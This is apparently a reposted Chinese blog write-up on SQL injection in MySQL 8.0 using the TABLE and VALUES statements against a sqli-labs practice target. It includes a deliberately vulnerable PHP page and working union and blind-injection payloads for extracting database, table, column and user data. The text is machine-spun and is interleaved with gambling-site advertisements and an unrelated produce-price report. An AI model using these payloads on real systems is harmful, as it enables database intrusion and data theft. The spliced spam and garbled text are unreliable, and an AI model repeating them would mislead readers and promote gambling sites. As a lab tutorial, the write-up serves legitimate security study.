MYSQL8.0注入新特征
之前看到过一些文章,然则没复现,最近在嘶吼CTF碰着问题了,以是纪录一下
0x01 环境设置
泛起了两个新的关键字table和values,原本想用phpstudy搭建的,然则这两个泛起在8.0.19之后..phpstudy只有8.0.12
选择使用docker搭建
docker pull mysql:8.0.22
docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
sql注入的靶场用sqli-lab
https://github.com/c0ny1/vulstudy
根据文档搭建好,进入容器修改sqli-lab的设置文件,/app/sql-connections/db-creds.inc
数据库的IP填宿主机的就可以,通过ifconfig查看容器IP地址
好比容器IP为:172.18.0.2,一般来说宿主机为172.18.0.1
重新设置数据库 ,会报错,由于mysql8.0默认认证方式和5不一样,通过下面语句修改即可
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
再次设置数据库,环境搭建完成
0x02 table
先看一下官方文档
htt ps://dev.mysql.com/doc/refman/8.0/en/table.html
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
官方文档形貌和TABLE和SELECT有类似的功效
可以列出表的详细内容
0x03 values
https://dev.mysql.com/doc/refman/8.0/en/values.html
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index
values可以组织一个表
values可以接在union后面,可以判断列数
select * from users where id = 1 union values row(1,2,3)
若是列数纰谬会报错
0x04 靶机测试
修改Less-1的代码,过滤select
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity function blacklist($id) { $id= preg_replace('/select/i',"", $id); return $id; } $id = blacklist($id); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= ',99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= ",FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>
首先用order by判断列数
然后使用values判断回显的位置
http://192.168.163.130/Less-1/?id=-1' union values row(1,2,3)--+
然后就是通例的需要知道库名,表名,字段名
,,欢迎进入usdt币游网址(Allbet Gaming):www.aLLbetgame.us,欧博allbet网址开放欧博allbet网址、会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。
当前库可以通过布尔盲注获得
1&&substr((database()),1,1)='c'
其余库名可以通过盲注获得
table information_schema.schemata ,列出所有数据库名
由于table不能像select控制列数,除非列数一样的表,否则都回显不出来,也需要使用盲注
1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);
后面的语句是从左到右判断的,第一列判断准确再判断第二列
由于schemata表中的第一列是def,不需要判断,以是可以直接判断库名
内里的字符也是单个判断的,好比库为mysql
m < mysql
my < mysql
azzzz < mysql
以上判断都是准确的,预测是根据ascii码巨细对照的,最后一个就对照坑,若是前一个字符判断不准确,后面的字符都市不准确,以是前面的判断一定要准确
注重判断的时刻后一个列名一定要用字符示意,不能用数字,否则判断到前一个最后一个字符会判断不出
('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1); ,判断错误
('def','mysql','',4,5,6)<(table information_schema.schemata limit 1); ,判断准确
获得当前库名为security,接下来判断表名
('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);
前两个字段都是确定的,可以写一个for循环判断,若是效果为真,代表从那行最先,然后盲注第三个列
获得所有表明后最先判断字段名,找到columns表,详细方法和上面一样
('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);
最后注入出数据
(1,'','') < (table users limit 1);
这里有个坑点,若是没有获得数据类型的话照样需要猜的,好比ID为1,前面就不能写成'1'
然后一直往下注入数据就行了
0x05 简朴剧本
试着写了个剧本,照样泛起了一些问题
字符表最好根据ascii码表的顺序来写,然则又不能所有根据ascii表,由于内里有些字符也会使数据库报错
匹配表名时不能准确的匹配到表名在tables中的行数,好比两个表一个为sys一个为security
y>s,以是在匹配security的时刻也会匹配到sys的行数,照样需要靠履历判断了
由于sys时系统表以是行数肯定是在security上面的,这里可以得知security从322行最先到325行竣事
列表名同样会泛起这个问题,也是需要猜
想了想剧本照样不贴出来了,自己都看不下去了实在太僵硬了,到最后注入数据的时刻写的还有点问题就不拿出来丢人现眼了
最后,关于这些表名字段名啥的应该还有些操作空间,mysql版本越高可以查询数据库表字段的表也越来越多了,可以根据需求选择用什么表查询
https://www.cnblogs.com/20175211lyz/p/12358725.html
详细哪些表可以这篇文章内里写的很全
电银付声明:该文看法仅代表作者自己,与本平台无关。转载请注明:电银付免费激活码(dianyinzhifu.com):MYSQL8.0注入新特征
欧博app下载www.allbetgame.us欢迎进入欧博app下载网站,欧博app下载网站是欧博官方网站。欧博app下载网站开放欧博注册、欧博代理、欧博电脑客户端、欧博app下载等业务。啊,我又又又来啦
今日,海内鲜活农产物批发市场重点监测的46个品种中,与昨天相比价钱升幅前五名的是平菇、西葫芦、蒜苔、白鲢鱼和大蒜。幅度分别为5.2%、3.7%、3.5%、3.5%和3.3%;价钱降幅前五名的是鸭梨、生姜、油菜、莴笋和南瓜,幅度分别为7.3%、2.4%、0.8%、0.6%和0.5%。天堂啊